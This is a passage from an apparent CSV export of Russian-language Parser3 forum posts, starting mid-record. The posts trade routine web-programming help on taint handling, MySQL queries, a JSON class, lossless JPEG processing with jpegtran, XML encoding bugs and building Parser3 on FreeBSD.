	ORDER BY\
		date DESC\
}[\
	$.offset($oScroller.offset)\
	$.limit($oScroller.limit)]\
]\
[/code]"
"66497","[code]\
$fXML[^file::load[text;index.xml]\
$sXML[$fXML.text]\
$sXML[^sXML.match[\\<(parser)\\>(.+?)\\</\\1\\>][gi]{^process{$match.1}}]\
^xXML[^xdoc::create{$sXML}]\
[/code]"
"66498","чуток погуглив нашел этот вариант... тоже волнует данный вопрос, делаю все как в мануале, а не пашет пока что... http://forum.htmlbook.ru/viewtopic.php?pid=22760"
"66500","Есть данные, которые вводит пользователь в textarea.\
При выводе данных ^#0A заменяю на <br> - получаются переводы строк. Однако когда вывожу эти данные в форму textarea все переводы теряются. Вывожу через ^taint[$data].\
Для интереса сделал замену ^#0A на 'perevod' - заменилось. Т.е. форма не понимает #0A как перевод строки.. В чем может быть проблема?"
"66501","+ почитайте повнимательнее про taint/untaint"
"66505","Вопрос решился, загвоздка была в другом: в контенте удаляются переводы строк при выводе: ^BUFER:content.match[\\n|\\t][g]"
"66506","В [url=\"http://www.parser.ru/examples/js_http_request/\"]JSHttpRequest.p[/url] используется таблица замен, но в ней только некоторые Unicode-символы — по какому принципу они выбраны? Только те, что используются?\
\
Можно ли обойтись без таблицы замен, чтобы все %uXXXX заменить на соответствующие им сущности?"
"66507","почем на одной странице два подряд запроса дают разный EXPLAIN?\
[code]TYPE: hash\
INFO: 110.353 ms/8 KB/0 blocks\
ROWS: 23\
QUERY:\
SELECT site_id, AVG(rate) as rate FROM stat_ya WHERE word_id = 14 AND rate_date < '2008-01-27 01:18:52' AND rate_date > '2007-12-28 01:18:52' AND site_id IN (6,5,2,9,13,24,317,11,136,7,220,18,10,764,42,15,14,16,235,32,871,271,918,33,19,215,1194,263,1069,1269) GROUP BY site_id\
EXPLAIN:\
id	select_type	table	type	possible_keys	key	key_len	ref	rows	Extra	\
1	SIMPLE	stat_ya	range	ix_uniq,site_id	site_id	4		19848	Using where	\
\
\
TYPE: hash\
INFO: 4.771 ms/12 KB/0 blocks\
ROWS: 16\
QUERY:\
SELECT site_id, AVG(rate) as rate FROM stat_ya WHERE word_id = 14 AND rate_date < '2007-12-28 01:18:53' AND rate_date > '2007-07-29 02:18:53' AND site_id IN (6,5,2,9,13,24,317,11,136,7,220,18,10,764,42,15,14,16,235,32,871,271,918,33,19,215,1194,263,1069,1269) GROUP BY site_id\
EXPLAIN:\
id	select_type	table	type	possible_keys	key	key_len	ref	rows	Extra	\
1	SIMPLE	stat_ya	range	ix_uniq,site_id	ix_uniq	4		728	Using where; Using temporary; Using filesort	[/code]"
"66508","В таких случаях неплохо бы приводить структуру самих таблиц и индексов. SHOW CREATE TABLE?\
\
Запросы разные, в части дат. Видимо дата входит в ix_uniq и при определенных диапазонах этот индекс не используется. \
\
Я бы поменял rate_date <> на BETWEEN\
+ в конец запроса можно написать ORDER BY NULL, чтобы избавится от filesort"
"66509","была как-то эта тема. http://www.parser.ru/forum/?id=42763\
Парсер пока не умеет делать это автоматом, однако Миша вроде заносил эту фичу в список TODO.\
\
Символы выбраны по принципу \"какие нужны были те и вставил\". :)"
"66510","- табличка была взята у Eugene и немного дополнена по итогам работы чата\
- парсер из head (и, если не ошибаюсь, текущие выложенные беты) уже умеет сам декодировать %uXXXX пришедшие get-параметрами (работает на основе парсерных таблиц с кодировками)\
\
P.S. я у тебя в игноре? сколько не писал тебе в почту/чат -- ответов нет."
"66511","P.S. Нет не в игноре, но я не получал от тебя писем, а в чате не был, только заглядывал пару раз."
"66512","типа по умолчанию не всегда равен одному\
[code]$iTypeID(^request.query.int(1))[/code]\
\
он разный в зависимости от того какую категорию анекдотов я выберу!"
"66513","В [url=\"http://www.parser.ru/docs/lang/intdoublefield.htm\"]документации[/url] по этому поводу всё подробно расписано."
"66514","чесно говря не могу понять как int, double, bool. Преобразование объектов к числам или bool  связано со скролером ?"
"66515","Для поддержки и развития [url=\"http://www.tgt.ru/\"]вот этого сайта[/url] требуется умный человек. \
Необходимо иметь:\
1. опыт создания/поддержки сайтов на каком-либо скриптовом языке в связке с БД;\
2. желание научиться продвижению в поисковых системах.\
\
Сильно приветствуется опыт программирования на Парсере.\
\
Условия работы: в Москве, в офисе, полный рабочий день. Зарплата в районе 25 000 руб., но обсуждается на собеседовании. Возможна неполная рабочая неделя.\
\
Пишите Денису Зубо на ящик zubo[аt]tgt.ru."
"66516","Чтобы в форме не пришла всякая дрянь (см. [url=\"http://www.parser.ru/forum/?id=66459\"]ответ Misha v.3[/url]), мы пробуем привести данные из формы к числу. Если получается число, то оставляем его, если нет — возвращаем единицу:\
\
[code]\
$iTypeID(^request.query.int(1))\
[/code]"
"66519","http://www.parser.ru/forum/?id=43941\
тут \"ручная реализация\"... а так хочется на все готовое. :)"
"66520","Вам это? http://www.parser.ru/forum/?id=55520"
"66522","На готовом сайте этот функционал не нужен, а для отладки можно и файлик подключить."
"66523","184457\
пишет как: сто восемьдесят четыре тысяч четыреста пятьдесят семь\
а надо: сто восемьдесят четыре тысяч[color=\"#FF0000\"]и[/color] четыреста пятьдесят семь\
\
мужской/женский род роли не играют\
\
P.S. в старом классе все работает"
"66525","http://www.opensea.ru/parser3/visualization.zip"
"66526","Упомянутый Деном мой [url=\"http://www.parser.ru/forum/?id=55520\"]debug.p[/url] и есть чуть модифицированная версия visualization.p"
"66527","# -- комментарии выбрасываются сразу после загрузки файла\
^rem{} -- комментарии возможно выбросить только после парсинга кода. т.е. лучше использовать '#'.\
\
\
о задержке: вам правильно подсказали про ^sleep(). однако не забудьте перед впадением в спячку снять все блокировки (в том числе с hashfile), чтобы пришедшие параллельные процессы смогли работать.\
\
\
вопрос о контроле памяти мне неясен. чем не устраивает имеющийся класс rusage?"
"66528","А иногда он вообще зацикливается не в силах что-либо показать.\
\
Я часть правил, но на ходу и уже не вспомню где.\
\
И недавнего:\
[code]^switch[$object.CLASS_NAME]{\
	^case[date]{^debugShowDate[$object]}\
	^case[file]{^debugShowFile[$object]}\
	^case[image]{^debugShowImage[$object]}\
	^case[bool]{^debugShowBool[$object]}\
	^case[table]{^debugShowTable[$object]}\
	^case[string]{^debugShowString[$object]}\
	^case[int;double]{^debugShowDouble[$object]}\
	^case[hash]{^debugShowHash[$object]}\
	^case[DEFAULT]{^debugShowVoid[$object]}\
}<br/>[/code]\
\
Не для красоты, а с прямым умыслом: из-за условия на def не показывались поля пустой таблицы (выдавал void), а это для меня критично."
"66529","делаю заглушку для отладки, вот так не работает\
^if($request:document-root eq \"[/дисковый/путь/к/корню/вашего/веб-пространства\"){\
 ...\
}\
\
а так работает\
^if([b]${request:document-root}[/b] eq \"[/дисковый/путь/к/корню/вашего/веб-пространства\"){\
 ...\
}\
\
Parser/3.2.1sp2 (compiled on i386-pc-win32)"
"66530","... имеет совершенно иной смысл и это необходимо учитывать.\
\
Кстати, сделать можно было так:\
[code]\
  ^if(\"$request:document-root\" eq \"/path/to/site/root/\"){\
    ...\
  }\
[/code]"
"66531","Это-то я понял, а вот в документации я такого не нашел.\
\
смутило что \
<b>document-root: $request:document-root</b><br>\
работает, а \
^if($request:document-root eq \"/path/to/site/root/\"){\
    ...\
  }\
нет"
"66533","Как и обещал в чате продолжаю знакомить вас с новыми фишками в области обработки изображений для веб.\
\
Что мы имеем на сегодня?\
\
Имеем возможность работы с ImageMagick, и NСonvert (в примерах есть две реализации в виде [url=\"http://www.kulikoff.net/parser3/img/\"]класса[/url], работающего с бинарными утилитами, а так же [url=\"http://www.spearance.ru/parser3/pictures/source/\"]класса[/url] работающего в связке с Perl). Причём многие уже оценили и полюбили модные NСonvert-ые фишки обработки Jpeg файлов без перекомпрессии.\
\
Однако, в первом из классов была обозначена проблема что ImageMagick не позволяет изменять Jpeg без перекомпрессии. Я решил заняться этим вопросом и понять почему так. На форуме ImageMagick я нашел забавную фразу \"зачем нам что-то реализовывать внутри своей библиотеки когда уже есть прекрасное готовое решение\".\
\
Итак знакомьтесь - [url=\"http://sylvana.net/jpegcrop/\"]jpegtran[/url]\
\
Утилитка которая есть на всех Unix-подобных системах входит в библиотеку jpeg. Есть и реализация под [url=\"http://sylvana.net/jpegcrop/jpegtran.exe\"]Windows[/url].\
\
Что она позволяет делать? Она позволяет производить различные манипуляции (обрезание meta данных, поворот, отражение, кроп, изменение размера и т.д. ) с jpeg без перекомпрессии.\
\
Полный перечень функций:\
\
[quote]usage: jpegtran [switches] [inputfile]\
\
Switches (names may be abbreviated):\
-copy none Copy no extra markers from source file\
-copy comments Copy only comment markers (default)\
-copy all Copy all extra markers\
-optimize Optimize Huffman table (smaller file, but slow compression)\
-progressive Create progressive JPEG file\
\
Switches for modifying the image:\
-grayscale Reduce to grayscale (omit color data)\
-flip [horizontal|vertical] Mirror image (left-right or top-bottom)\
-rotate [90|180|270] Rotate image (degrees clockwise)\
-transpose Transpose image\
-transverse Transverse transpose image\
-trim Drop non-transformable edge blocks\
\
Switches for advanced users:\
-restart N Set restart interval in rows, or in blocks with B\
-maxmemory N Maximum memory to use (in kbytes)\
-outfile name Specify name for output file\
-verbose or -debug Emit debug output\
\
Switches for wizards:\
-scans file Create multi-scan JPEG per script file[/quote]\
\
Про функции кроп и ресайз читайте [url=\"http://sylvana.net/jpegcrop/\"]здесь[/url].\
\
Весит утилитка в сборке под RedHut каких-то 18 Кб.\
\
Пример вызова:\
[code]$f[^file::exec[/../bin/jpegtran;;-copy;none;-rotate;90;-outfile;$env:DOCUMENT_ROOT/результат.jpg;$env:DOCUMENT_ROOT/исходник.jpg]][/code]\
В данном случае обрежутся все метаданные и картинка повернётся на 90 градусов по часовой стрелке.\
\
Измерить адекватно скорость работы не удалось, но по собственным ощущениям очень быстро. :)\
\
P.S. ну вот собственно и все. С возвращением меня."
"66534","Осталось к [url=\"http://www.kulikoff.net/parser3/img/\"]вышеозначенным классам[/url] написать еще и класс для работы с данной утилитой :)"
"66535","т.к. будет не удобно пользоваться и потеряется возможность легко переключаться между классами при необходимости.\
\
надо прикрутить возможность задания собственного исполняемого файла к каждой операции (напримр хранить их в hash-е, основной путь -- в $.default, доставать при exec $hScript.$sAction)."
"66537","чтобы дать Дену возможность внедрить в свой класс, т.к. свой дальше развивать в том виде какой он есть не буду."
"66538","В связи з дынамической графикой в сайтах имеем ечё одно дело:\
\
Генерование текстов (н.п. Главы) своим произдовольным шрифтом. \
Имеем такие утилитки:\
\
ImageMagick:\
Картинки делает сервер - но много проблемов с кодоровками.\
Прнимает только TTF\
\
Sifr (http://www.mikeindustries.com/blog/sifr/)\
Шрифты изготовлнные во Flash (верся мин. 6)\
Всё делает вроусер.\
\
PHPGD + freeType\
В моей мнении самая хорошая техника. Я создаю скрипт в PHP который принимает параметры (шриыт, розмер, и др.) и выпускаеть уже только картинку. Принимаеть OTF и TTF. Неть больших проблемов с кодировкой.\
\
Пример:\
http://temp4.forjesus.eu/test_gd/"
"66539","Есть таблица с полями: id, group_name (имя группы), cat_id (принадлежность к разделу каталога), num (номер группы), sort (порядок вывода).\
\
Средствами MySQL делаем выборку по cat_id. Далее делаем ORDER BY по полям num и sort. На выходе получем список в нужной последовательности.\
\
Вопрос: чем плох данный метод?"
"66540","теперь нужно узнать на хостинге 1gb.ru, установлена ли у них ета штука. Если да - то супер, т.к. у меня там уже несколько проектов и  для всех из них нужно всячески изменять картинки."
"66541","P.S. Можно даже не узнавать у хостинг-провайдера."
"66542","Но скажу если для каждого построения списка потомков делается запрос в БД, то это не хорошо, очень медленно.\
Лучше уж почитать то о чем писал Миша в примерах, там есть отличный вариант с использованием хэшей."
"66544","Просто на 1gb я стараюсь все настраивать через службу поддержки, т.к. пару раз уже было, что \"не ту версию поставил\"... тем более, что там техподдержка вполне адекватная. На мой взгляд."
"66547","Подробности на - http://www.spreadfirefox.com/ru/worldrecord\
\
P.S. Проще говоря, внесите Ваш e-mail адрес, и в определенный день не забудьте скачать прогу с сайта."
"66550","- добавлены [url=\"/forum/?id=57772\"]@OPTION\\nlocals[/url] и [url=\"/forum/?id=57686\"]@method[vars][locals][/url]\
- автоматически декодируются %uXXXX в get-параметрах (известен баг: не работает в случае request:charset == utf-8)\
- у hash::sql добавлен параметр $.type[hash|string|table] (по аналогии с ^таблица.hash[...])\
- добавлена более строгая проверка форматных строк у .format и eval\
- у try появился третий необязательный параметр finally-code\
- throw можно вызывать с одним строковым параметром (раньше если один параметр -- то он должен быть хешом)\
- собран с последней libxslt библиотекой (libxslt-1.1.24)\
\
брать [url=\"/download/beta/\"]где обычно[/url]"
"66551","А то у мну Nconvert на 64 битной системе так и не запустился, и я как раз ищу ему альтернативу"
"66552","Нужно преобразовать данные в формате JSON (строка, пришла из POST-запроса) в парсерные объекты (хеш, массив, строка). Ищу готовое решение.\
\
Есть огромное количество примеров на всех возможных языках. Только на Парсере не нашел."
"66553","Я правильно понимаю, что\
[code]@OPTION\
locals[/code]\
действует в пределах всего объекта, а\
[code]@method[vars][locals][/code]\
только на указанный метод?"
"66555","Тогда древовидная структура появится. А cat_id -- это id ветки (thread_id). Надеюсь...\
\
Метод плох тем, что затратно делать выборку всех родителей до root-раздела.\
\
Dimys, а почему не поискать в интернете на тему MySQL и древовидных структур? Есть, например, метод вложенных множеств."
"66556","Попробую лучше javascript: http://www.JSON.org/json_parse.js\
\
P.S.\
Странно. Сообщение уже почти три часа висит, а еще никто не спросил: \"а зачем это нужно? мы прекрасно обходимся без JSON\" :-)"
"66558","ещё была версия что [locals] — отдельная приблуда для конструкторов...\
\
Кто тебя знает чего ты там понаписал!!!"
"66559","Там же формат простой, думаю сложностей не будет за пару дней освоить.\
Готовый — врятли найти."
"66560","Я чего-то не понимаю или в [url=\"http://www.parser.ru/examples/js_http_request/\"]JSHttpRequest.p[/url] уже есть всё написанное? Я его немножко урезал и получил свой JSON.p (убрал работу с [url=\"http://dklab.ru/lib/JsHttpRequest/\"]JSHttpRequest.js[/url], т.к. сам использую [url=\"http://www.jquery.com\"]jQuery[/url]"
"66562","В JSHttpRequest.p из преобразование из $request:body в hash."
"66564","она для всех методов. это более короткий способ объявить все переменные метода локальными. \
\
но в конструкторах это тоже работает, поэтому если надо в нём присвоить значение переменной объекта, то в случае указания [locals] необходимо использовать префикс self."
"66565","в противном случае использовать его было бы несколько проблематично, ибо обычно серверу нужно получить запрос, сделать что-то (чтобы понять что сделать нужно пришедший запрос разобрать, а это как раз JSON->Parser) и отправить результат (преобразовав его в тот формат, который поймут: Parser->JSON)."
"66566","1. В простом методе явное определение result при указании locals отработает как и положено?\
[quote]@method[vars][result;locals][/quote]\
\
2. Как поведёт себя парсер, если будут объявлены другие локальные переменные, кроме locals (допустим, по невнимательности)?\
[quote]@method[vars][locals;v1;v2][/quote]"
"66568","1. я не проверял, но всё должно быть ок (hint: любой может проверить)\
\
2. другие объявления не помешают (хотя без них всё должно работать на крохи быстрее). однако тут есть одно НО:\
если вы в методе использовали локальную переменную locals, и при этом в методе записывались НЕ локальные переменные (не объявленные среди локальных) без префикса класса или self ($var[типа запись в переменную класса]), то с новым парсером поведение метода изменится: локальными станут все переменные, т.е. запись в $var станет писать в локальную переменную, что поломает логику. поэтому методы, где сейчас используется описанная локальная переменная locals надо просмотреть и подправить (про это изменение скоро напишу в новостях)\
\
UPDATE:\
- пока @OPTION\\nlocals не наследуется (думаю так и оставлю, т.к. отменить действие данной опции при необходимости невозможно, а добавить дочернему классу -- \"как две строчки написать\")\
- если метод добавляется в класс/объект с помощью process, то его переменные объявляются локальными, если у класса указана @OPTION\\locals"
"66570","Метод получения статей по заданным параметрам.\
@getArticles[hParam] - создаем метод и указываем параметр\
$hParam[^hash::create[$hParam]] создаем путой хеш. Далее делаем выборку из базы, но не понятно откуда возьмуться ^hParam.id.int(0), ^hParam.iArticleTypeId.int(0), $hParam.iOffset\
\
Помогите разобраться."
"66571","$hParam[^hash::create[$hParam]] -- это НЕ создание пустого хеша, а создание копии хеша на основе пришедшего значение. и вот в пришедшем хеше и ожидаются упоминаемые поля.\
\
дочитайте пример до конца, там есть примеры вызова методов с передачей необходимых параметров."
"66572","Для чего нужно создавать хеш, если можно просто перечислить параметры через \";\" ? Не совсем понятно, где записываются данные в хеш. \
\
^rem{ *** получаем информацию о календаре и выводим его *** }\
$tCalendar[^getCalendar[$.iArticleTypeId(1)]]\
^printCalendar[$tCalendar]\
\
Как оказалось, не совсем простой пример для меня."
"66573","мне существенно больше нравится писать так:\
[code]\
^getCalendar[\
	$.iArticleTypeId(1)\
	$.iId(^form:id.int(2))\
	$.sSomethingElse[MyValue]\
]\
[/code]\
\
а не так:\
\
[code]\
^getCalendar[;;;1;3;;;MyValue]\
[/code]\
\
ибо в месте вызова видно что я передаю в качестве какого параметра.\
\
однако, как говориться, на вкус и цвет... поэтому ничего не мешает вам переделать код и передавать параметры не в виде хеша, а поотдельности.\
\
[quot]\
Как оказалось, не совсем простой пример для меня.\
[/quot]\
\
а я и не обещал, что пример простой и понятный для всех.\
однако с помощью тупого copy/paste его можно заставить работать, а потом по ходу разбираться."
"66575","2Misha v.3 Вы говорили, что права выдаются на блоки, тогда как определяются права на чтение, добавление данных страницы, изменение данных страницы и удаление данных страницы?"
"66577","После смены версии Парсера стал получать такую ошибку:\
\
[code]http://tangoman.livejournal.com/data/rss:5: parser error : \
Input is not proper UTF-8, indicate encoding !\
Bytes: 0xCA 0xE0 0xEC 0xEE\
  <title>Каморка тангомана</title>\
[/code]\
\
Код страницы:\
[code]@main[]\
$sourceDoc[^xdoc::load[http://tangoman.livejournal.com/data/rss]]\
[/code]\
\
При этом сервер нормально сообщает кодировку utf-8 для документа, и, если загрузить файл через wget, то внутри символы тоже в utf-8.\
\
Старый парсер:\
Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)\
\
Новый парсер:\
Parser/3.2.3 (compiled on i386-unknown-freebsd6.2)\
\
В конфигурационный файле кодировки выставлены в\
$request:charset[windows-1251]\
$response:charset[windows-1251]"
"66578","в 3.2.2 для загрузки внешних xml файлов стали использовать уже имеющийся у нас универсальный метод их загрузки файлов вместо встроенного в libxml (последний выкинули). но файлы грузили в text-mode, при этом по общей схеме происходило перекодирование содержимого, но не менялся @encoding в xml declaration => xml оказывался невалидным.\
\
сделал чтобы при загрузке внешнего xml файла он грузился в binary-mode (нет перекодировки и правки символов переводов строки), а дальше с ним разбирается libxml.\
\
\
пока можно использовать такое:\
\
$sourceDoc[^xdoc::create[^file::load[binary;http://tangoman.livejournal.com/data/rss]]]\
\
именно binary, это важно.\
\
более того, этот вариант универсальнее, т.к. у file::load можно задать кучку опций (timeout, form, http-заголовки), а у xdoc::load параметров нет."
"66579","Спасибо, теперь понятно.\
\
Если можно еще вопрос: \
$hParam[^hash::create[$hParam]] -- это НЕ создание пустого хеша, а создание копии хеша на основе пришедшего значение. и вот в пришедшем хеше и ожидаются упоминаемые поля\
\
Для чего создаеться копия хеша?"
"66580","Либо как-то объединим, чтобы была одна версия.\
\
P.S. Кстати, я планирован добавить метод @parse[], который бы занимался преобразованием JSON в Parser. Т.к. у самого пока нет особой необходимости и считаю, что эту фичу нужно делать на уровне C++ (отдельным классом или добавлением метода/ов к классу string), то временно остепенился...\
\
\
Если что мой код JSON:\
[code]\
###########################################################################\
#	based on JSHttpRequest class by Misha v.3\
#		(http://www.parser.ru/examples/js_http_request/)\
###########################################################################\
\
@CLASS\
JSON\
\
\
\
###########################################################################\
#	Options:\
#		$.UNICODE(bool) = true\
@init[hshParams][hParams]\
$hParams[^hash::create[$hshParams]]\
\
$self.UNICODE(^hParams.UNICODE.bool(true))\
#end @init[]\
\
\
\
###########################################################################\
#	Result: string\
@decodeText[sText][_tmp]\
^if(!def $tDecode){\
	$tDecode[^self._getDecodeTable[]]\
}\
\
$result[^hash::create[]]\
\
$_tmp[^sText.match[(?:^^|&|\\?)([^^=]+)=([^^&]+)][gm]{$result.[^self._decode[$match.1]][^self._decode[$match.2]]}]\
#end @decodeText[]\
\
\
\
###########################################################################\
#	carefull: for empty strings returned 'null'\
#	Result: string\
@convert[uVar]\
$result[]\
^if(!(\
	($uVar is \"bool\" && ($uVar && ^self._return[true] || ^self._return[false]))\
	|| (!def $uVar && ^self._return[null])\
	|| ($uVar is \"string\" && ^self._return[^self._string2js[$uVar]])\
	|| ($uVar is \"double\" && ^self._return[$uVar])\
	|| ($uVar is \"int\" && ^self._return[$uVar])\
	|| ($uVar is \"table\" && (($uVar && ^self._return[^self._table2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"hash\" && (($uVar && ^self._return[^self._hash2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"date\" && ^self._return[new Date(^uVar.unix-timestamp[]000)])\
)){\
	^self._return[null]\
}\
#end @convert[]\
\
\
\
###########################################################################\
@_return[sType]\
$caller.result[$sType]\
$result(1)\
#end @_return[]\
\
\
\
###########################################################################\
#	Result: string\
@_decode[sText]\
$result[^taint[^sText.replace[$tDecode]]]\
^if(def $result && ^self.UNICODE.bool(true)){\
	$result[^result.match[%u([\\dA-F]{4})][gi]{&#x$match.1^;}]\
}\
#end @_decode[]\
\
\
\
###########################################################################\
#	Result: string\
@_string2js[sData]\
$result['^taint[js][$sData]']\
#end @_string2js[]\
\
\
\
###########################################################################\
#	Result: string\
@_hash2js[hData][bIsHashOfBool;sKey;uValue]\
$bIsHashOfBool(1)\
# check if our hash is hash of bool with only 'true' values\
^hData.foreach[sKey;uValue]{\
	^if($bIsHashOfBool && !($uValue is \"bool\" && $uValue)){\
		$bIsHashOfBool(0)\
	}\
}\
\
^if($bIsHashOfBool){\
	$result[[\
		^hData.foreach[sKey;]{\
			^self._string2js[$sKey]\
		}[, ]\
	]]\
}{\
	^rem{ *** in other case return associated array *** }\
	$result[{\
		^hData.foreach[sKey;uValue]{\
			^self._string2js[$sKey]:\
			^if($uValue is \"double\" || $uValue is \"bool\" || $uValue is \"int\"){\
				^self.convert($uValue)\
			}{\
				^self.convert[$uValue]\
			}\
		}[, ]\
	}]\
}\
#end @_hash2js[]\
\
\
\
###########################################################################\
#	Result: string\
@_table2js[tData][tKeys]\
$tKeys[^tData.columns[]]\
^if($tKeys){\
	$result[[\
		^tData.menu{\
			{\
				^tKeys.menu{\
					^self._string2js[$tKeys.column]:^self._string2js[$tData.[$tKeys.column]]\
				}[, ]\
			}\
		}[, ]\
	]]\
}{\
#	nameless tables are deprecated\
	$result[null]\
}\
#end @_table2js[]\
\
\
\
###########################################################################\
@_getDecodeTable[]\
$result[^table::create{from	to\
%0D%0A	^taint[^#0A]\
%0D	^taint[^#0A]\
%0A	^taint[^#0A]\
%09	^taint[^#09]\
%20	^#20\
%21	!\
%22	\"\
%23	#\
%24	^$\
%25	%\
%26	&\
%27	'\
%28	(\
%29	)\
%2B	+\
%2C	,\
%3A	:\
%3B	^;\
%3C	<\
%3D	=\
%3E	>\
%3F	?\
%5B	^[\
%5C	\\\
%5D	^]\
%5E	^^\
%60	`\
%7B	^{\
%7C	|\
%7D	^}\
%7E	~\
%A0	^#A0\
%A7	§\
%A9	©\
%AB	«\
%AE	®\
%B0	°\
%B1	±\
%BB	»\
%u0430	а\
%u0431	б\
%u0432	в\
%u0433	г\
%u0434	д\
%u0435	е\
%u0451	ё\
%u0436	ж\
%u0437	з\
%u0438	и\
%u0439	й\
%u043A	к\
%u043B	л\
%u043C	м\
%u043D	н\
%u043E	о\
%u043F	п\
%u0440	р\
%u0441	с\
%u0442	т\
%u0443	у\
%u0444	ф\
%u0445	х\
%u0446	ц\
%u0447	ч\
%u0448	ш\
%u0449	щ\
%u044A	ъ\
%u044B	ы\
%u044C	ь\
%u044D	э\
%u044E	ю\
%u044F	я\
%u0410	А\
%u0411	Б\
%u0412	В\
%u0413	Г\
%u0414	Д\
%u0415	Е\
%u0401	Ё\
%u0416	Ж\
%u0417	З\
%u0418	И\
%u0419	Й\
%u041A	К\
%u041B	Л\
%u041C	М\
%u041D	Н\
%u041E	О\
%u041F	П\
%u0420	Р\
%u0421	С\
%u0422	Т\
%u0423	У\
%u0424	Ф\
%u0425	Х\
%u0426	Ц\
%u0427	Ч\
%u0428	Ш\
%u0429	Щ\
%u042A	Ъ\
%u042B	Ы\
%u042C	Ь\
%u042D	Э\
%u042E	Ю\
%u042F	Я\
%u2013	–\
%u2014	—\
%u201C	“\
%u201D	”\
%u201E	„\
%u2026	…\
%u2030	‰\
%u20AC	?\
%u2116	№\
%u2122	™\
}]\
#end @_getDecodeTable[]\
[/code]"
"66582","Пример:\
[code]\
@method1[hshParams]\
^if($hshParams.test eq \"value\"){\
	...\
}\
[/code]\
Если при вызове метода ему не передать hash, а именно:\
[code]\
^method1[]\
[/code]\
Ты вы отхватите ошибку, о том, что hshParams не содержит поля/метода с именем test, т.к. по умолчанию hshParams будет объектом класса string."
"66583","данная личность уже не раз приписывала мне что-либо выдуманное или взятое с потолка:\
http://www.parser.ru/forum/?id=64593\
http://www.parser.ru/forum/?id=63726"
"66585","копия может делаться по нескольким причинам:\
1. чтобы внутри метода не изменился исходный хеш (т.к. у парсера объекты передаются \"по ссылке\", то внутри метода можно случайно изменить исходный объект)\
2. чтобы в некоторых случаях обойти проблему передачи _не_ хеша (о чем говорил BeaVe, правда он привел не совсем корректный пример, но суть сказал: это защита от ошибки, если методу передадут не хеш)"
"66586","@getNewsByData[hParam]\
$hParam[^hash::create[$hParam]]\
^MAIN:mySQL{\
	$tab[^table::sql{\
		SELECT\
			id, data, news_zag, news_kratko \
		FROM\
			news\
		WHERE\
			is_pub='1'  AND type_id='$hParam.type_id'\
		ORDER BY \
			`data` desc\
		LIMIT $hParam.limit\
}]\
}\
\
$ns[^news::getNewsByData[\
# $.type_id[1]\
# $.limit[3]\
]]\
^ns.showNewsKratko[]\
\
Если я делаю вызов метода без передачи параметров, то получаю ошибку синтаксиса MySQL. \
Можно ли в самом методе делать проверку ^if пришел параметр или нет?"
"66587","Почитайте вы уже документацию, посмотрите примеры, как и что люди пишут, передают, обрабатывают.\
\
Для чего задавать глупейшией вопросы, которые годы назад разжёваны и прописаны, в доке так, в ветках форума, в примерах?.."
"66588","- читайте сообщение об ошибке, вникайте в него, думайте почему оно произошло и как его исправить;\
- с помощью документации попробуйте понять смысл всех конструкций в примере (в нём есть необходимые вам проверки и защиты).\
\
P.S. пожалуйста, почитайте FAQ по пользованию форумом"
"66591","Здравствуйте!\
\
Masterhost переехал на FreeBSD 6.3 (во всяком случае та площадка на которой я нахожусь), после чего Parser перестал работать. На сайте бинарников для FreeBSD 6.3 не удалось найти, стал собирать сам. После выполнения команды ./buid-all-with-xml он сообщает, что все успешно построено, и я должен скопировать файл /$HOME/parser3install в директорию cgi-bin. Проблема в том, что такого файла там нет. Я вообще ничего откомпилированного найти не могу. Не понятно в чем дело.\
\
Пробовал запускать ./configure (с этого начал), но он ругается на то, что я должен задать ему путь до --with-shared-gc или --with-static-gc. Не совсем понятно куда это и как задавать (откуда брать путь и куда его вбивать).\
\
А вообще требуется Парсер с XML и с драйвером mySQL.\
\
Прошу не бить за возможно глупые формулировки дурацких вопросов - я вообще не программист."
"66593","Выдает ошибку \"Premature end of script headers\". (Закачивал в бинарном режиме, права 755)."
"66595","собранный бинарник должен оказаться тут: src/targets/cgi/parser3\
\
собственно после сборки с помощью buildall-with-xml стоит сделать:\
[code]cd tests\
[g]make tests\
[/code]\
\
недавно про переезд серверов мастерхоста на 6.3 в форуме [url=\"/forum/?id=66428\"]было[/url]."
"66596","набираю: ./parser.cgi\
\
Parser/3.2.3 (compiled on i386-unknown-freebsd6.2)\
Дальше копирайты и usage."
"66597","Содержимое $HOME/src:\
\
gc6.8.tar.gz\
libxml2-2.6.32.tar.gz\
libxslt-1.1.23.tar.gz\
\
Не уверен откуда оно взялось. Директории targets не вижу.\
\
Насчет ссылки, котурую вы привели - я ее видел, но там нет решения. Вернее, я именно оттуда и почерпнул идею собрать  самостоятельно Парсера.\
\
Вот выдает make tests:\
\
[u40375@be13 ~/parser3/tests]$ make tests\
\"Makefile\", line 1: Need an operator\
\"Makefile\", line 4: Need an operator\
\"Makefile\", line 7: Need an operator\
Error expanding embedded variable.\
\
[u40375@be13 ~/parser3/tests]$ gmake tests\
./run_parser.sh ../src/targets/cgi/parser3 001.html results/auto.p > outputs/001.processed\
gmake: *** [outputs/001.processed] Ошибка 127\
\
\
Вообще я немного поясню. Дело в том, что сайт, с которым имеется проблема, не мой, делал его не я. Меня просто попросили две недели назад помочь его наполнять через CMS Imprimatur (я изначально не знал, что это будет за система). Неожиданно возникла эта ситуация. То есть я вообще не знаю что там лежат за скрипты, не знаю Парсера и не знаю как устроен сайт."
"66598","нда, тесты не проходят..."
"66599","CVS (директория)\
.cvsignore\
getopt.c\
getopt.h\
Makefile.am\
Makefile.in\
pa_threads.C\
parser3.C\
parser3.vcproj\
pp3.cmd"
"66600","1. судя по тому, что вы пускали имеющийся у вас parser3.cgi из консоли и он работал, не очень понятно в чем у вас проявлялась изначальная проблема? (содержимое последних строк апачевского error_log и parser3.log, который рядом с parser3.cgi)\
\
2. попробуйте ещё раз взять с этого сайта собранные бинарники parser3.cgi и libparser3mysql.so и положить их вместо существующих у вас (существующие забакапьте). не забудьте про права и binary, на всякий случай сравните размеры локального и закачанного файлов. результаты (что в броузере, что в указанных логах -- сообщите).\
\
3. пробуем собирать (если после 1 и 2 ничего не вышло)\
попробуйте ещё раз с самого начала (удалие каталог ~/parser3/, где вы собирали, но не удаляйте ~/src/ и каталог с собранными либами), заново достаньте из cvs ветку 323 (точное её название, cvs root -- в доке), и далее без ./configure cd parser3 и ./buildall-with-xml\
\
после завершения процесса сборки проскрольте экран вверх и убедитесь, что все не закончилось ошибкой (если ошибка -- последние строки с ней -- сюда).\
\
если без ошибок -- cd tests, gmake tests"
"66603","[quote]libxml (последний выкинули)[/quote]\
\
Почему?"
